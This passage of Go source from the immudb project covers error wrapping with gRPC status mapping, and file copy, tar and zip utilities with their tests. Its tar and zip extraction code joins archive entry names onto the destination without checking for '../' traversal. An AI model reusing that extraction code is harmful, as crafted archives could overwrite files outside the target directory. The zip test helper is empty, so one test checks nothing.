Test_WrappingImmuerrorWithKnowCode(t *testing.T) { t.Setenv("LOG_LEVEL", "debug") cause := "cause error" err := errors.New(cause) wrappedError := errors.Wrap(err, server.ErrUserNotActive) require.Error(t, wrappedError) require.Equal(t, wrappedError.Error(), fmt.Sprintf("%s: %s", server.ErrUserNotActive, cause)) require.Equal(t, wrappedError.Message(), server.ErrUserNotActive) require.Equal(t, wrappedError.Code(), errors.CodSqlserverRejectedEstablishmentOfSqlconnection) require.Equal(t, wrappedError.Cause(), err) require.Equal(t, wrappedError.RetryDelay(), int32(0)) require.NotNil(t, wrappedError.Stack()) } ================================================ FILE: pkg/errors/grpc_status.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors import ( "os" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/proto" "google.golang.org/grpc/status" ) // GRPCStatus return the gRPC status from a wrapped error. func (f *wrappedError) GRPCStatus() *status.Status { err, ok := f.cause.(*immuError) if !ok { return nil } return setupStatus(err, f.msg, err.retryDelay) } func (f *immuError) GRPCStatus() *status.Status { return setupStatus(f, f.msg, f.retryDelay) } func setupStatus(cause *immuError, message string, retryDelay int32) *status.Status { st := status.New(mapGRPcErrorCode(cause.code), message) errorInfo := &schema.ErrorInfo{ Cause: cause.msg, Code: string(cause.code), } retryInfo := &schema.RetryInfo{RetryDelay: retryDelay} details := make([]proto.Message, 0) details = append(details, errorInfo, retryInfo) if di := debugInfo(cause.stack); di != nil { details = append(details, di) } st, err := st.WithDetails(details...) if err != nil { return nil } return st } func debugInfo(stack string) (dbg *schema.DebugInfo) { if strings.ToLower(os.Getenv("LOG_LEVEL")) == "debug" { dbg = &schema.DebugInfo{ Stack: stack, } } return dbg } ================================================ FILE: pkg/errors/grpc_status_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors import ( "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestImmuError_GRPCStatus(t *testing.T) { ie := &immuError{ code: "", msg: "", stack: "", retryDelay: 0, } st := ie.GRPCStatus() require.NotNil(t, st) require.Len(t, st.Details(), 2) } func TestWrappedError_GRPCStatus(t *testing.T) { ie := &wrappedError{ cause: New("cause"), msg: "", } st := ie.GRPCStatus() require.NotNil(t, st) require.Len(t, st.Details(), 2) } func TestWrappedError_GRPCStatusEmptyCause(t *testing.T) { ie := &wrappedError{ cause: nil, msg: "", } st := ie.GRPCStatus() require.Nil(t, st) } func TestImmuError_GRPCStatusWithStack(t *testing.T) { t.Setenv("LOG_LEVEL", "debug") ie := &immuError{ code: "", msg: "", stack: "", retryDelay: 0, } st := ie.GRPCStatus() require.NotNil(t, st) var errorInfo *schema.ErrorInfo = nil var debugInfo *schema.DebugInfo = nil var retryInfo *schema.RetryInfo = nil for _, det := range st.Details() { switch ele := det.(type) { case *schema.ErrorInfo: errorInfo = ele case *schema.DebugInfo: debugInfo = ele case *schema.RetryInfo: retryInfo = ele } } require.NotNil(t, errorInfo) require.NotNil(t, debugInfo) require.NotNil(t, retryInfo) } ================================================ FILE: pkg/errors/map.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors import ( "google.golang.org/grpc/codes" ) func mapGRPcErrorCode(code Code) codes.Code { switch code { case CodSuccessCompletion: return codes.OK case CodSqlclientUnableToEstablishSqlConnection: return codes.PermissionDenied case CodDataException: return codes.FailedPrecondition case CodInvalidParameterValue: return codes.InvalidArgument case CodInternalError: return codes.Internal case CodUndefinedFunction: return codes.Unimplemented case CodInvalidDatabaseName: return codes.NotFound case CodIntegrityConstraintViolation: return codes.FailedPrecondition default: return codes.Unknown } } ================================================ FILE: pkg/errors/map_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors import ( "testing" "github.com/stretchr/testify/require" "google.golang.org/grpc/codes" ) func Test_Map(t *testing.T) { st := mapGRPcErrorCode(CodSuccessCompletion) require.Equal(t, codes.OK, st) st = mapGRPcErrorCode(CodSqlclientUnableToEstablishSqlConnection) require.Equal(t, codes.PermissionDenied, st) st = mapGRPcErrorCode(CodDataException) require.Equal(t, codes.FailedPrecondition, st) st = mapGRPcErrorCode(CodInvalidParameterValue) require.Equal(t, codes.InvalidArgument, st) st = mapGRPcErrorCode(CodInternalError) require.Equal(t, codes.Internal, st) st = mapGRPcErrorCode(CodUndefinedFunction) require.Equal(t, codes.Unimplemented, st) st = mapGRPcErrorCode(Code("Unknown")) require.Equal(t, codes.Unknown, st) } ================================================ FILE: pkg/errors/meta.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors type Code string const ( CodSuccessCompletion Code = "00000" CodInternalError Code = "XX000" CodSqlclientUnableToEstablishSqlConnection Code = "08001" CodSqlserverRejectedEstablishmentOfSqlconnection Code = "08004" CodProtocolViolation Code = "08P01" CodDataException Code = "22000" CodInvalidParameterValue Code = "22023" CodUndefinedFunction Code = "42883" CodInvalidDatabaseName Code = "3F000" CodInvalidAuthorizationSpecification Code = "28000" CodSqlserverRejectedEstablishmentOfSqlSession Code = "08001" CodInvalidTransactionInitiation Code = "0B000" CodInFailedSqlTransaction Code = "25P02" CodIntegrityConstraintViolation Code = "23000" ) var ( CodeMap = make(map[string]Code) ) ================================================ FILE: pkg/errors/wrapped.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors type wrappedError struct { cause error msg string } func Wrap(err error, message string) *wrappedError { if err == nil { return nil } e, ok := err.(*immuError) if !ok { e = New(err.Error()) } c, ok := CodeMap[message] if ok { e.code = c } return &wrappedError{ cause: e, msg: message, } } func (w *wrappedError) Error() string { return w.msg + ": " + w.cause.Error() } func (w *wrappedError) Message() string { return w.msg } func (w *wrappedError) Cause() error { return w.cause } func (w *wrappedError) Code() Code { return w.cause.(*immuError).code } func (w *wrappedError) Stack() string { return w.cause.(*immuError).stack } func (w *wrappedError) RetryDelay() int32 { return w.cause.(*immuError).retryDelay } func (w *wrappedError) WithCode(code Code) *wrappedError { w.cause.(*immuError).code = code return w } // WithRetryDelay specifies milliseconds needed to retry. If 0 is returned error is not retryable. func (w *wrappedError) WithRetryDelay(delay int32) *wrappedError { w.cause.(*immuError).retryDelay = delay return w } func (e *wrappedError) Is(target error) bool { switch t := target.(type) { case *immuError: return compare(e, t) case *wrappedError: return compare(e, t) default: return e.Cause().Error() == target.Error() } } ================================================ FILE: pkg/fs/copy.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fs import ( "fmt" "io" "os" "github.com/codenotary/immudb/pkg/immuos" ) // Copier ... type Copier interface { CopyFile(src, dst string) error CopyDir(src string, dst string) error } // StandardCopier ... type StandardCopier struct { OS immuos.OS CopyFileF func(src, dst string) error CopyDirF func(src string, dst string) error } // NewStandardCopier ... func NewStandardCopier() *StandardCopier { sc := &StandardCopier{ OS: immuos.NewStandardOS(), } sc.CopyFileF = sc.copyFile sc.CopyDirF = sc.copyDir return sc } // CopyFile ... func (sc *StandardCopier) CopyFile(src, dst string) error { return sc.CopyFileF(src, dst) } // CopyDir ... func (sc *StandardCopier) CopyDir(src string, dst string) error { return sc.CopyDirF(src, dst) } // copyFile copies the contents of the file named src to the file named // by dst. The file will be created if it does not already exist. If the // destination file exists, all it's contents will be replaced by the contents // of the source file. The file mode will be copied from the source and // the copied data is synced/flushed to stable storage. func (sc *StandardCopier) copyFile(src, dst string) error { in, err := sc.OS.Open(src) if err != nil { return err } defer in.Close() info, err := in.Stat() if err != nil { return err } if info.IsDir() { return fmt.Errorf("copy from %s: source is a directory", src) } out, err := sc.OS.OpenFile(dst, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, info.Mode()) if err != nil { return err } defer out.Close() _, err = io.Copy(out, in) if err != nil { return err } return out.Sync() } // copyDir recursively copies a directory tree, attempting to preserve permissions. // Source directory must exist, destination directory must *not* exist. // Symlinks are ignored and skipped. func (sc *StandardCopier) copyDir(src string, dst string) error { src = sc.OS.Clean(src) dst = sc.OS.Clean(dst) si, err := sc.OS.Stat(src) if err != nil { return err } if !si.IsDir() { return fmt.Errorf("copy from %s: source is not a directory", src) } switch _, err := sc.OS.Stat(dst); { case err == nil: return fmt.Errorf("copy to %s: %w", dst, os.ErrExist) case !sc.OS.IsNotExist(err): return err } return sc.OS.Walk(src, func(path string, info os.FileInfo, err error) error { if err != nil { return err } dstPath := sc.OS.Join(dst, path[len(src):]) switch { case info.Mode()&os.ModeSymlink != 0: return nil case info.IsDir(): return sc.OS.MkdirAll(dstPath, info.Mode()) default: return sc.copyFile(path, dstPath) } }) } ================================================ FILE: pkg/fs/copy_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fs import ( "errors" "io/ioutil" "os" "path/filepath" "testing" "github.com/codenotary/immudb/pkg/immuos" "github.com/stretchr/testify/require" ) func TestCopyFile(t *testing.T) { src := filepath.Join(t.TempDir(), "test-copy-file-source.txt") err := ioutil.WriteFile(src, []byte("test CopyFile file content"), 0644) require.NoError(t, err) dst := filepath.Join(t.TempDir(), "test-copy-file-destination.txt") copier := NewStandardCopier() err = copier.CopyFile(src, dst) require.NoError(t, err) } func TestCopyFileSrcNonExistent(t *testing.T) { copier := NewStandardCopier() err := copier.CopyFile( filepath.Join(t.TempDir(), "non-existent-copy-file-src"), filepath.Join(t.TempDir(), "non-existent-copy-file-dst"), ) require.ErrorIs(t, err, os.ErrNotExist) } func TestCopyFileSrcIsDir(t *testing.T) { src := t.TempDir() copier := NewStandardCopier() err := copier.CopyFile(src, filepath.Join(t.TempDir(), "test-copy-file-source-is-dir-dst")) require.ErrorContains(t, err, "is a directory") } func TestCopyFileOpenDstError(t *testing.T) { src := filepath.Join(t.TempDir(), "test-copy-file-open-dst-error-src") err := ioutil.WriteFile(src, []byte("test CopyFile open dst error src file content"), 0644) require.NoError(t, err) copier := NewStandardCopier() errOpenFile := errors.New("OpenFile error") copier.OS.(*immuos.StandardOS).OpenFileF = func(name string, flag int, perm os.FileMode) (*os.File, error) { return nil, errOpenFile } err = copier.CopyFile(src, filepath.Join(t.TempDir(), "test-copy-file-open-dst-error-dst")) require.ErrorIs(t, err, errOpenFile) } func TestCopyDir(t *testing.T) { srcDir := t.TempDir() srcSubDir1 := filepath.Join(srcDir, "dir1") srcSubDir2 := filepath.Join(srcDir, "dir2") require.NoError(t, os.MkdirAll(srcSubDir1, 0755)) require.NoError(t, os.MkdirAll(srcSubDir2, 0755)) file0 := [2]string{filepath.Join(srcDir, "file0"), "file0\ncontent0"} file1 := [2]string{filepath.Join(srcSubDir1, "file1"), "file1\ncontent1"} file2 := [2]string{filepath.Join(srcSubDir2, "file2"), "file2\ncontent2"} require.NoError(t, ioutil.WriteFile(file0[0], []byte(file0[1]), 0644)) require.NoError(t, ioutil.WriteFile(file1[0], []byte(file1[1]), 0644)) require.NoError(t, ioutil.WriteFile(file2[0], []byte(file2[1]), 0644)) dst := filepath.Join(t.TempDir(), "dst") copier := NewStandardCopier() require.NoError(t, copier.CopyDir(srcDir, dst)) fileContent0, err := ioutil.ReadFile(file0[0]) require.NoError(t, err) require.Equal(t, file0[1], string(fileContent0)) fileContent1, err := ioutil.ReadFile(file1[0]) require.NoError(t, err) require.Equal(t, file1[1], string(fileContent1)) fileContent2, err := ioutil.ReadFile(file2[0]) require.NoError(t, err) require.Equal(t, file2[1], string(fileContent2)) } func TestCopyDirSrcNonExistent(t *testing.T) { copier := NewStandardCopier() err := copier.CopyDir( filepath.Join(t.TempDir(), "non-existent-copy-file-src"), filepath.Join(t.TempDir(), "non-existent-copy-file-dst"), ) require.ErrorIs(t, err, os.ErrNotExist) } func TestCopyDirSrcNotDir(t *testing.T) { src := filepath.Join(t.TempDir(), "test-copy-dir-src-not-dir-src") require.NoError(t, ioutil.WriteFile(src, []byte(src), 0644)) copier := NewStandardCopier() err := copier.CopyDir(src, filepath.Join(t.TempDir(), "test-copy-dir-src-not-dir-dst")) require.ErrorContains(t, err, "is not a directory") } func TestCopyDirDstAlreadyExists(t *testing.T) { src := t.TempDir() dst := t.TempDir() copier := NewStandardCopier() err := copier.CopyDir(src, dst) require.ErrorIs(t, err, os.ErrExist) } func TestCopyDirDstStatError(t *testing.T) { src := t.TempDir() dst := filepath.Join(t.TempDir(), "test-copy-dir-dst-stat-error-dst") copier := NewStandardCopier() errDstStat := errors.New("dst Stat error") copier.OS.(*immuos.StandardOS).StatF = func(name string) (os.FileInfo, error) { if name != dst { return os.Stat(name) } return nil, errDstStat } err := copier.CopyDir(src, dst) require.ErrorIs(t, err, errDstStat) } func TestCopyDirWalkError(t *testing.T) { src := t.TempDir() srcSub := filepath.Join(src, "subdir") require.NoError(t, os.MkdirAll(srcSub, 0755)) dst := filepath.Join(t.TempDir(), "test-copy-dir-walk-error-dst") copier := NewStandardCopier() errWalk := errors.New("walk error") copier.OS.(*immuos.StandardOS).WalkF = func(root string, walkFn filepath.WalkFunc) error { return walkFn("", nil, errWalk) } err := copier.CopyDir(src, dst) require.ErrorIs(t, err, errWalk) } ================================================ FILE: pkg/fs/tar.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fs import ( "archive/tar" "compress/gzip" "io" "os" "strings" "github.com/codenotary/immudb/pkg/immuos" ) // Tarer ... type Tarer interface { TarIt(src string, dst string) error UnTarIt(src string, dst string) error } // StandardTarer ... type StandardTarer struct { OS immuos.OS TarItF func(src string, dst string) error UnTarItF func(src string, dst string) error } // NewStandardTarer ... func NewStandardTarer() *StandardTarer { st := &StandardTarer{ OS: immuos.NewStandardOS(), } st.TarItF = st.tarIt st.UnTarItF = st.unTarIt return st } // TarIt ... func (st *StandardTarer) TarIt(src string, dst string) error { return st.TarItF(src, dst) } // UnTarIt ... func (st *StandardTarer) UnTarIt(src string, dst string) error { return st.UnTarItF(src, dst) } // tarIt takes a source and variable writers and walks 'source' writing each file // found to the tar writer; the purpose for accepting multiple writers is to allow // for multiple outputs (for example a file, or md5 hash) func (st *StandardTarer) tarIt(src string, dst string) error { info, err := st.OS.Stat(src) if err != nil { return err } var baseDir string if info.IsDir() { baseDir = st.OS.Base(src) } if _, err = st.OS.Stat(dst); err == nil { return os.ErrExist } destFile, err := st.OS.Create(dst) if err != nil { return err } defer destFile.Close() mw := io.MultiWriter(destFile) gzw := gzip.NewWriter(mw) defer gzw.Close() tw := tar.NewWriter(gzw) defer tw.Close() return st.OS.Walk(src, func(path string, info os.FileInfo, err error) error { if err != nil { return err } if !info.Mode().IsRegular() { return nil } header, err := tar.FileInfoHeader(info, info.Name()) if err != nil { return err } if baseDir != "" { header.Name = st.OS.Join(baseDir, strings.TrimPrefix(path, src)) } if info.IsDir() { header.Name += "/" } if err = tw.WriteHeader(header); err != nil { return err } if info.IsDir() { return nil } f, err := st.OS.Open(path) if err != nil { return err } defer f.Close() _, err = io.Copy(tw, f) return err }) } // unTarIt takes a destination path and a reader; a tar reader loops over the tarfile // creating the file structure at 'dst' along the way, and writing any files func (st *StandardTarer) unTarIt(src string, dst string) error { srcFile, err := st.OS.Open(src) if err != nil { return err } if err = st.OS.MkdirAll(dst, 0755); err != nil { return err } gzr, err := gzip.NewReader(srcFile) if err != nil { return err } defer gzr.Close() tr := tar.NewReader(gzr) for { header, err := tr.Next() if err != nil { if err == io.EOF { // no more files return nil } return err } if err = st.unTarEntry(dst, tr, header); err != nil { return err } } } func (st *StandardTarer) unTarEntry(dst string, tr io.Reader, header *tar.Header) error { if header == nil { return nil } target := st.OS.Join(dst, header.Name) switch header.Typeflag { // or header.FileInfo() - same thing case tar.TypeDir: if err := st.OS.MkdirAll(target, 0755); err != nil { return err } case tar.TypeReg: dir, _ := st.OS.Split(target) if err := st.OS.MkdirAll(dir, 0755); err != nil { return err } if err := st.copyFile(target, tr, header.FileInfo().Mode()); err != nil { return err } } return nil } func (st *StandardTarer) copyFile(dst string, src io.Reader, perm os.FileMode) error { f, err := st.OS.OpenFile(dst, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm) if err != nil { return err } defer f.Close() _, err = io.Copy(f, src) return err } ================================================ FILE: pkg/fs/tar_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fs import ( "errors" "io" "io/ioutil" "os" "path/filepath" "testing" "github.com/codenotary/immudb/pkg/immuos" "github.com/stretchr/testify/require" ) func testArchiveUnarchive( t *testing.T, srcDir string, dst string, archive func() error, unarchive func() error, ) { } func TestTarUnTar(t *testing.T) { baseDir := t.TempDir() srcDir := filepath.Join(baseDir, "test-tar-untar") dst := srcDir + ".tar.gz" tarer := NewStandardTarer() require.NoError(t, os.MkdirAll(srcDir, 0755)) srcSubDir1 := filepath.Join(srcDir, "dir1") require.NoError(t, os.MkdirAll(srcSubDir1, 0755)) srcSubDir2 := filepath.Join(srcSubDir1, "dir2") require.NoError(t, os.MkdirAll(srcSubDir2, 0755)) files := []struct { Name string Content []byte }{ {filepath.Join(srcSubDir1, "file1"), []byte("file1\ncontent1")}, {filepath.Join(srcSubDir2, "file2"), []byte("file2\ncontent2")}, } for _, fl := range files { require.NoError(t, ioutil.WriteFile(fl.Name, fl.Content, 0644)) } require.NoError(t, tarer.TarIt(srcDir, dst)) _, err := os.Stat(dst) require.NoError(t, err) require.NoError(t, os.RemoveAll(srcDir)) require.NoError(t, tarer.UnTarIt(dst, baseDir)) for _, fl := range files { fileContent1, err := ioutil.ReadFile(fl.Name) require.NoError(t, err) require.Equal(t, fl.Content, fileContent1) } } func TestTarSrcNonExistent(t *testing.T) { src := filepath.Join(t.TempDir(), "non-existent-tar-src") tarer := NewStandardTarer() err := tarer.TarIt(src, src+".tar.gz") require.ErrorIs(t, err, os.ErrNotExist) } func TestTarDstAlreadyExists(t *testing.T) { src := filepath.Join(t.TempDir(), "some-tar-src") dst := filepath.Join(t.TempDir(), "existing-tar-dest") err := ioutil.WriteFile(src, []byte(src), 0644) require.NoError(t, err) err = ioutil.WriteFile(dst, []byte(dst), 0644) require.NoError(t, err) tarer := NewStandardTarer() err = tarer.TarIt(src, dst) require.ErrorIs(t, err, os.ErrExist) } func TestTarDstCreateErr(t *testing.T) { src := filepath.Join(t.TempDir(), "some-tar-src") require.NoError(t, os.MkdirAll(src, 0755)) dst := filepath.Join(t.TempDir(), "some-tar-dst") tarer := NewStandardTarer() errCreate := errors.New("Create error") tarer.OS.(*immuos.StandardOS).CreateF = func(name string) (*os.File, error) { return nil, errCreate } require.Equal(t, errCreate, tarer.TarIt(src, dst)) } func TestTarWalkError(t *testing.T) { src := filepath.Join(t.TempDir(), "some-tar-src") srcSub := filepath.Join(src, "subdir") require.NoError(t, os.MkdirAll(srcSub, 0755)) dst := filepath.Join(t.TempDir(), "some-tar-dst") tarer := NewStandardTarer() errWalk := errors.New("Walk error") tarer.OS.(*immuos.StandardOS).WalkF = func(root string, walkFn filepath.WalkFunc) error { return walkFn("", nil, errWalk) } require.Equal(t, errWalk, tarer.TarIt(src, dst)) } func TestTarWalkOpenError(t *testing.T) { src := filepath.Join(t.TempDir(), "some-tar-src") require.NoError(t, os.MkdirAll(src, 0755)) srcFile := filepath.Join(src, "f.txt") ioutil.WriteFile(srcFile, []byte("f content"), 0644) dst := filepath.Join(t.TempDir(), "some-tar-dst") tarer := NewStandardTarer() errWalkOpen := errors.New("Walk open error") tarer.OS.(*immuos.StandardOS).OpenF = func(name string) (*os.File, error) { return nil, errWalkOpen } require.Equal(t, errWalkOpen, tarer.TarIt(src, dst)) } func TestUnTarOpenError(t *testing.T) { tarer := NewStandardTarer() require.Error(t, tarer.UnTarIt( filepath.Join(t.TempDir(), "src"), filepath.Join(t.TempDir(), "dst"), )) } func TestUnTarMdkirDst(t *testing.T) { src := filepath.Join(t.TempDir(), "some-tar-src") require.NoError(t, os.MkdirAll(src, 0755)) tarer := NewStandardTarer() errMkdirAll := errors.New("MkdirAll error") tarer.OS.(*immuos.StandardOS).MkdirAllF = func(path string, perm os.FileMode) error { return errMkdirAll } require.Equal(t, errMkdirAll, tarer.UnTarIt(src, filepath.Join(t.TempDir(), "dst"))) } func TestUnTarNonArchiveSrc(t *testing.T) { src := filepath.Join(t.TempDir(), "some-file.txt") require.NoError(t, ioutil.WriteFile(src, []byte("content"), 0644)) tarer := NewStandardTarer() dst := filepath.Join(t.TempDir(), "dst") err := tarer.UnTarIt(src, dst) require.ErrorIs(t, err, io.ErrUnexpectedEOF) } func TestUnTarMkdirAllSubDirError(t *testing.T) { src := filepath.Join(t.TempDir(), "some-tar-src") srcSub := filepath.Join(src, "subdir") require.NoError(t, os.MkdirAll(srcSub, 0755)) ioutil.WriteFile(filepath.Join(srcSub, "some-file.txt"), []byte("content"), 0644) tarer := NewStandardTarer() dst := filepath.Join(t.TempDir(), "some-tar-dst.tar.gz") require.NoError(t, tarer.TarIt(src, dst)) errMkdirAll := errors.New("MkdirAll subdir error") counter := 0 tarer.OS.(*immuos.StandardOS).MkdirAllF = func(path string, perm os.FileMode) error { counter++ if counter == 2 { return errMkdirAll } return os.MkdirAll(path, perm) } err := tarer.UnTarIt(dst, filepath.Join(t.TempDir(), "dst2")) require.ErrorIs(t, err, errMkdirAll) } func TestUnTarOpenFileError(t *testing.T) { src := filepath.Join(t.TempDir(), "some-tar-src") srcSub := filepath.Join(src, "subdir") require.NoError(t, os.MkdirAll(srcSub, 0755)) ioutil.WriteFile(filepath.Join(srcSub, "some-file.txt"), []byte("content"), 0644) tarer := NewStandardTarer() dst := filepath.Join(t.TempDir(), "some-tar-dst.tar.gz") require.NoError(t, tarer.TarIt(src, dst)) errOpenFile := errors.New("OpenFile error") tarer.OS.(*immuos.StandardOS).OpenFileF = func(name string, flag int, perm os.FileMode) (*os.File, error) { return nil, errOpenFile } err := tarer.UnTarIt(dst, filepath.Join(t.TempDir(), "dst2")) require.ErrorIs(t, err, errOpenFile) } ================================================ FILE: pkg/fs/zip.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fs import ( "archive/zip" "compress/flate" "io" "os" "strings" "github.com/codenotary/immudb/pkg/immuos" ) // Zip compression levels const ( ZipNoCompression = flate.NoCompression ZipBestSpeed = flate.BestSpeed ZipMediumCompression = 5 ZipBestCompression = flate.BestCompression ZipDefaultCompression = flate.DefaultCompression ZipHuffmanOnly = flate.HuffmanOnly ) // Ziper ... type Ziper interface { ZipIt(src, dst string, compressionLevel int) error UnZipIt(src, dst string) error } // StandardZiper ... type StandardZiper struct { OS immuos.OS ZipItF func(src, dst string, compressionLevel int) error UnZipItF func(src, dst string) error } // NewStandardZiper ... func NewStandardZiper() *StandardZiper { sz := &StandardZiper{ OS: immuos.NewStandardOS(), } sz.ZipItF = sz.zipIt sz.UnZipItF = sz.unZipIt return sz } // ZipIt ... func (sz *StandardZiper) ZipIt(src, dst string, compressionLevel int) error { return sz.ZipItF(src, dst, compressionLevel) } // UnZipIt ... func (sz *StandardZiper) UnZipIt(src, dst string) error { return sz.UnZipItF(src, dst) } // zipIt ... func (sz *StandardZiper) zipIt(src, dst string, compressionLevel int) error { srcInfo, err := sz.OS.Stat(src) if err != nil { return err } var baseDir string if srcInfo.IsDir() { baseDir = sz.OS.Base(src) } if _, err = sz.OS.Stat(dst); err == nil { return os.ErrExist } zipfile, err := sz.OS.Create(dst) if err != nil { return err } defer zipfile.Close() zipWriter := zip.NewWriter(zipfile) defer zipWriter.Close() if compressionLevel != ZipDefaultCompression { zipWriter.RegisterCompressor(zip.Deflate, func(out io.Writer) (io.WriteCloser, error) { return flate.NewWriter(out, flate.BestCompression) }) } err = sz.OS.Walk(src, func(path string, info os.FileInfo, err error) error { if err != nil { return err } if !info.Mode().IsRegular() { return nil } header, err := zip.FileInfoHeader(info) if err != nil { return err } if baseDir != "" { header.Name = sz.OS.Join(baseDir, strings.TrimPrefix(path, src)) } if info.IsDir() { header.Name += "/" } else { header.Method = zip.Deflate } writer, err := zipWriter.CreateHeader(header) if err != nil { return err } if info.IsDir() { return nil } file, err := sz.OS.Open(path) if err != nil { return err } defer file.Close() _, err = io.Copy(writer, file) return err }) if err != nil { return err } return zipWriter.Close() } // unZipIt ... func (sz *StandardZiper) unZipIt(src, dst string) error { r, err := zip.OpenReader(src) if err != nil { return err } defer r.Close() sz.OS.MkdirAll(dst, 0755) for _, f := range r.File { err := sz.extractAndWriteFile(f, dst) if err != nil { return err } } return nil } func (sz *StandardZiper) extractAndWriteFile(fileInZip *zip.File, dst string) error { rc, err := fileInZip.Open() if err != nil { return err } defer rc.Close() path := sz.OS.Join(dst, fileInZip.Name) if fileInZip.FileInfo().IsDir() { sz.OS.MkdirAll(path, 0755) } else { if err := sz.OS.MkdirAll(sz.OS.Dir(path), 0755); err != nil { return err } targetFile, err := sz.OS.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, fileInZip.Mode()) if err != nil { return err } defer targetFile.Close() _, err = io.Copy(targetFile, rc) if err != nil { return err } } return nil } ================================================ FILE: pkg/fs/zip_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fs import ( "archive/zip" "errors" "io/ioutil" "os" "path/filepath" "testing" "github.com/codenotary/immudb/pkg/immuos" "github.com/stretchr/testify/require" ) func TestZipUnZip(t *testing.T) { src := filepath.Join(t.TempDir(), "test-zip-unzip") dst := src + ".zip" ziper := NewStandardZiper() testArchiveUnarchive( t, src, dst, func() error { return ziper.ZipIt(src, dst, ZipBestSpeed) }, func() error { return ziper.UnZipIt(dst, ".") }, ) } func TestZipSrcNonExistent(t *testing.T) { nonExistentSrc := filepath.Join(t.TempDir(), "non-existent-zip-src") ziper := NewStandardZiper() err := ziper.ZipIt(nonExistentSrc, nonExistentSrc+".zip", ZipBestSpeed) require.ErrorIs(t, err, os.ErrNotExist) } func TestZipDstAlreadyExists(t *testing.T) { src := filepath.Join(t.TempDir(), "some-zip-src") dst := filepath.Join(t.TempDir(), "existing-zip-dest") err := ioutil.WriteFile(src, []byte(src), 0644) 